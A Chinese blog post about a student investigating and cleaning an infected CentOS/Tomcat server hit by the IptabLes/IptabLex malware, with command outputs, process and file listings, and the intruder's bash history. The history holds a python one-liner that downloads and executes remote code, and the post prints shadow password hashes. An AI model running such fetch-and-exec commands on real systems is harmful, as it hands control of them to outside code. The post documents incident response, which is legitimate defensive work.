• 小记IptabLes和IptabLex病毒清理过程


     去年有台Linux服务器被黑了,看了500万行日志(现在觉得当时好厉害呀),反正当时的日志文件有700Mb以上大。前两天师兄告诉我,信息中心的老师给他说我们有台服务器应该是被人入侵了,当作内网的跳板,经常对内网中的其他服务器发出攻击的数据。于是我连夜就去服务器上看了。

      这是我第一次上这个服务器,什么情况都不知道,只知道这个服务器是Linux(尼玛具体是什么发行版都要我去查),上面跑着一个网站。

      

      进去之后,先看看是什么发行版的。CentOS6.5,以前都只玩的Ubuntu,换这个上面多多少少还有点陌生的。好了废话不多说了。

      再去看看什么网页吧。cd /var/下面,没有看到是www或者htdocs之类的目录,不会是tomcat吧。搜索了一下,果然是。网页内容先不看了,应该是已经提权成功了的。直接就去看看服务器算了。

      

      写文章的时候才意识到,我一开始不应该乱看其他的,应该先把.bash_history什么的先备份下才对。算是给自己提一个醒吧。

      看看passwd和shadow:

     [root@localhost /]# stat /etc/passwd
      File: "/etc/passwd"
      Size: 1723       Blocks: 8          IO Block: 4096   普通文件
    Device: fd00h/64768d Inode: 919098      Links: 1
    Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2014-09-21 09:32:01.730288306 +0800
    Modify: 2014-04-02 09:31:28.469644869 +0800
    Change: 2014-04-02 09:31:28.503201786 +0800
    [root@localhost /]# stat /etc/shadow
      File: "/etc/shadow"
      Size: 1177       Blocks: 8          IO Block: 4096   普通文件
    Device: fd00h/64768d Inode: 919095      Links: 1
    Access: (0000/----------)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2014-09-21 09:40:01.734126039 +0800
    Modify: 2014-04-02 09:38:11.473125883 +0800
    Change: 2014-04-02 09:38:11.498275087 +0800

    看来是4月2号就入侵成功了呀。查看了下/home下的目录,多了一个用户。还是看看passwd吧。

    [root@localhost /]#cat /etc/shadow

    mysql:!!:15791:::::: tomcat:!!:15791:::::: chu:$6$kG9zMTps$7H61NSjXMY3/Jc/tZrJtCuwFn1mhDyWXVg4blFghfLdbQNXr.6Li9tYt5fYVJsIlvwb0z68k/EQXsUljZK6.L0:15793:0:99999:7::: sqzr:$6$yBrvX/HDaim/vrK4$uArYMq6Zr2XM7BWTzexC16RI6HGmOp9cs65AgLR.v.yx3rN0M6YzblNCJytGsguFSbsGN18OPpcyrSG63fKKS.:16162:0:99999:7:::

    passwd就不写出来了。在passwd中,sqzr这个用户后面的和root一样,也就是root权限了。userdel sqzr提示不能删除,当前已经登录,尼玛,这个用户就是给root取了个别名吧。直接修改两个文件,删除这一行。用户就算是清理了。

    看下进程:

    21911 ?        00:00:00 .IptabLex

    21917 ?        00:00:00 .IptabLes

    29093 ?        00:00:02 prwpodebiq

    这是什么,第一眼还以为是防火墙,可是多了一个,再一想,Linux下面要区分大小写的,这东西不对劲。

    百度了下,发现确实是个病毒,也有其他人中招了。

    http://www.xujiansheng.cn/2014/01/linux-viruses-iptablex-iptables/

    还有那个prwpodebiq,完全没有意义的进程名,如此大的pid,肯定有问题。

      

    [root@localhost /]# find / -name prwpodebiq -print
    /boot/prwpodebiq
    /etc/rc.d/init.d/prwpodebiq

    [root@localhost /]# cd /boot/
    [root@localhost boot]# ll
    总用量 19858
    -rw-r--r--. 1 root root    97862 5月  20 2011 config-2.6.32-71.el6.x86_64
    drwxr-xr-x. 3 root root     1024 3月  27 2013 efi
    drwxr-xr-x. 2 root root     1024 3月  27 2013 grub
    -rw-r--r--. 1 root root 13419499 3月  27 2013 initramfs-2.6.32-71.el6.x86_64.img
    lrwxrwxrwx  1 root root       25 9月  16 22:31 IptabLes -> /etc/rc.d/init.d/IptabLes
    lrwxrwxrwx  1 root root       25 9月  16 22:31 IptabLex -> /etc/rc.d/init.d/IptabLex
    drwx------. 2 root root    12288 3月  27 2013 lost+found
    -rwxr-x---  1 root root   613533 9月  21 21:29 prwpodebiq
    -rw-r--r--. 1 root root   160542 5月  20 2011 symvers-2.6.32-71.el6.x86_64.gz
    -rw-r--r--. 1 root root  2226490 5月  20 2011 System.map-2.6.32-71.el6.x86_64
    -rwxr-xr-x. 1 root root  3791040 5月  20 2011 vmlinuz-2.6.32-71.el6.x86_64 

    [root@localhost boot]# stat prwpodebiq
      File: "prwpodebiq"
      Size: 613533          Blocks: 1200       IO Block: 1024   普通文件
    Device: 801h/2049d      Inode: 22          Links: 1
    Access: (0750/-rwxr-x---)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2014-09-21 23:16:18.000000000 +0800
    Modify: 2014-09-21 21:29:26.000000000 +0800
    Change: 2014-09-21 21:29:26.000000000 +0800

     777的文件,定位到病毒了。

    [root@localhost boot]# find / -name *IptabL* -print
    /boot/.IptabLes
    /boot/.IptabLex
    /etc/rc.d/rc4.d/S55IptabLes
    /etc/rc.d/rc4.d/S55IptabLex
    /etc/rc.d/rc2.d/S55IptabLes
    /etc/rc.d/rc2.d/S55IptabLex
    /etc/rc.d/rc3.d/S55IptabLes
    /etc/rc.d/rc3.d/S55IptabLex
    /etc/rc.d/rc5.d/S55IptabLes
    /etc/rc.d/rc5.d/S55IptabLex
    /usr/.IptabLes
    /usr/.IptabLex
    [root@localhost boot]# rm -rf `find / -name *IptabL*`

     手动删除了一部分,但东西太多了,直接用find删除了。

    此外用lsof看到了一些进程和/下的pid文件有关联,于是直接删除了。

    # ll -a /   (只显示可疑的文件)
    -rw-r--r--   1 root  root      5 Jan 12 17:15 .mylisthb.pid
    -rw-r--r--   1 root  root      5 Jan 12 10:01 .mylisthbS.pid
    -rw-r--r--   1 root  root      5 Jan 12 10:01 .mylisthbSx.pid
    -rw-r--r--   1 root  root      5 Jan 12 16:57 .mylisthbx.pid

     感觉已经解决问题了,ps -A 看看还有没有问题。。。于是。。

     3499 ?        00:00:00 sshd
     3505 ?        00:00:00 kdpiaqommj
     3506 pts/0    00:00:00 ps
    29093 ?        00:00:10 prwpodebiq
    29101 ?        00:00:00 flush-8:0
    31327 ?        00:00:00 sshd
    31378 pts/0    00:00:06 bash

    又出来一个kdpiaqommj和prwpodebiq,这种没有什么意义的名字的进程。lsof之。发现又在/boot下,晕,kill后再rm一个。

    再看一次进程,又出现了一个tieyhxjhkl。

    [root@localhost bin]# lsof -p 5669
    COMMAND    PID USER   FD   TYPE     DEVICE SIZE/OFF    NODE NAME
    tieyhxjhk 5669 root  cwd    DIR      253,0     4096 1324611 /usr/local/tomcat/apache-tomcat-7.0.39/bin
    tieyhxjhk 5669 root  rtd    DIR      253,0     4096       2 /
    tieyhxjhk 5669 root  txt    REG        8,1   613533      18 /boot/tieyhxjhkl
    tieyhxjhk 5669 root    0u   CHR        1,3      0t0    3569 /dev/null
    tieyhxjhk 5669 root    1u   CHR        1,3      0t0    3569 /dev/null
    tieyhxjhk 5669 root    2u   CHR        1,3      0t0    3569 /dev/null
    tieyhxjhk 5669 root    3u  IPv4 1445967634      0t0     TCP 这里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)

    是反弹shell还是什么?

    应该是还有文件被改了吧,去tomcat目录中看看。

    [root@localhost bin]# ll
    总用量 1828
    -rw-r--r-- 1 root root   28615 3月  22 2013 bootstrap.jar
    -rw-r--r-- 1 root root     461 5月  18 00:54 c:2.vbs
    -rw-r--r-- 1 root root   13217 3月  22 2013 catalina.bat
    -rwxr-xr-x 1 root root   19276 3月  22 2013 catalina.sh
    -rw-r--r-- 1 root root    2121 3月  22 2013 catalina-tasks.xml
    -rw-r--r-- 1 root root   24281 3月  22 2013 commons-daemon.jar
    -rw-r--r-- 1 root root  202451 3月  22 2013 commons-daemon-native.tar.gz
    -rw-r--r-- 1 root root    2131 3月  22 2013 configtest.bat
    -rwxr-xr-x 1 root root    1982 3月  22 2013 configtest.sh
    -rw-r--r-- 1 root root    1342 3月  22 2013 cpappend.bat
    -rwxr-xr-x 1 root root   22987 5月  23 09:04 D32
    -rwxr-xr-x 1 root root   27805 5月  23 09:04 D64
    -rwxr-xr-x 1 root root    7492 3月  22 2013 daemon.sh
    -rw-r--r-- 1 root root    2178 3月  22 2013 digest.bat
    -rwxr-xr-x 1 root root    2021 3月  22 2013 digest.sh
    -rw-r--r-- 1 root root 1103207 7月  11 02:49 getsetup.hb.1
    -rw-r--r-- 1 root root       0 8月   5 16:19 Ŀ��������·�� ��������pwd����
    -rw-r--r-- 1 root root    3264 3月  22 2013 setclasspath.bat
    -rwxr-xr-x 1 root root    3524 3月  22 2013 setclasspath.sh
    -rw-r--r-- 1 root root    2111 3月  22 2013 shutdown.bat
    -rwxr-xr-x 1 root root    1960 3月  22 2013 shutdown.sh
    -rw-r--r-- 1 root root    2112 3月  22 2013 startup.bat
    -rwxr-xr-x 1 root root    1961 3月  22 2013 startup.sh
    -rw-r--r-- 1 root root   38161 3月  22 2013 tomcat-juli.jar
    -rw-r--r-- 1 root root  288166 3月  22 2013 tomcat-native.tar.gz
    -rw-r--r-- 1 root root    4114 3月  22 2013 tool-wrapper.bat
    -rwxr-xr-x 1 root root    5086 3月  22 2013 tool-wrapper.sh
    -rw-r--r-- 1 root root    2116 3月  22 2013 version.bat
    -rwxr-xr-x 1 root root    1965 3月  22 2013 version.sh

     红字是tomcat中没有的,删除了。

    然后kill。然后重启服务器。

    然后我就晕了,还有!!!!!!   这次lsof的cwd直接是/了。而根下没有什么东西了。

    然后我发现,该进程是随机产生名字,然后会生成两个子进程,子进程也是随机名字,并且只有2秒不到的存活期,kill不了。kill父进程,还会产生。同时会在/boot下生成自己的可执行文件。

    通过netstat -anput 发现这个进程的功能应该是    TCP 这里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)。

    tcp        0      1 这里是我的IP:41939       222.34.129.154:2804         SYN_SENT    1701/bash

    这尼玛好像就是反弹shell吧。

    还是看看.bash_history吧。

        973 find -name '*tomcat*'
        974 find -name 'index.jsp'
        975 ------------------------------
        976 find -name 'index.jsp'
        977 ls
        978 top
        979 ls
        980 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50
        981 python2
        982 python
        983 ls
        984 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2
        985 wget www.baidu.com
        986 cat index.html
        987 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2
        988 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2 --no-check-certificate
        989 ls
        990 tar -jxvf Python-2.7.tar.bz2
        991 cd p
        992 cd Python-2.7/
        993 dir
        994 ./configure
        995 make
        996 make install
        997 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50
        998 python -c "exec(__import__('urllib').urlopen('http://www.yascanner.com/0c971e54b1eef79a').read())" -m 50
        999 pip
       1000 yum install python-zlib

    2016 更新:

    这个 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50 原来是扫描器。

    tail –100 /var/log/secure

    看看安全信息,有公网IP拼命的在尝试root的密码,而且走的是ssh进来的。当然关闭ssh相信应该是可以的。我这因为目前公网上还需要用到ssh,所以只能在hosts.deny上进行阻止该公网IP进来。

      东北大学网络中心有常见的ssh攻击的IP地址,及一个sh脚本:

      网址:http://antivirus.neu.edu.cn/scan/ssh.php

    阻止别人的ssh连接了,但是内部的 那个进程还是一直有,一直发着这个

    TCP 这里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)

    他应该用的应该是Struts2的漏洞进入服务器里的,但是留下的那个后门,我现在还没有办法解决,

    Struts2的漏洞可以看这里:

    http://struts.apache.org/release/2.3.x/docs/s2-016.html

    至此,先到这里吧。最近还是再看看吧。

  • 相关阅读:
    Hologres如何支持亿级用户UV计算
    飞猪基于 Serverless 的云+端实践与思考
    高德打车构建可观测性系统实践
    程序员写好技术文章的几点小技巧
    配置审计(Config)变配报警设置
    进入中国内地第31年的麦当劳 ,为什么还能不断吸引新消费人群?
    OceanBase再破纪录!核心成员陈萌萌:坚持HTAP就是坚持我们做数据库的初心
    找出有序数组中缺失的数字
    删除值重复的结点
    想交链表----若有缘 必相见
  • 原文地址:https://www.cnblogs.com/mediciyan/p/3989050.html
Copyright © 2020-2023  润新知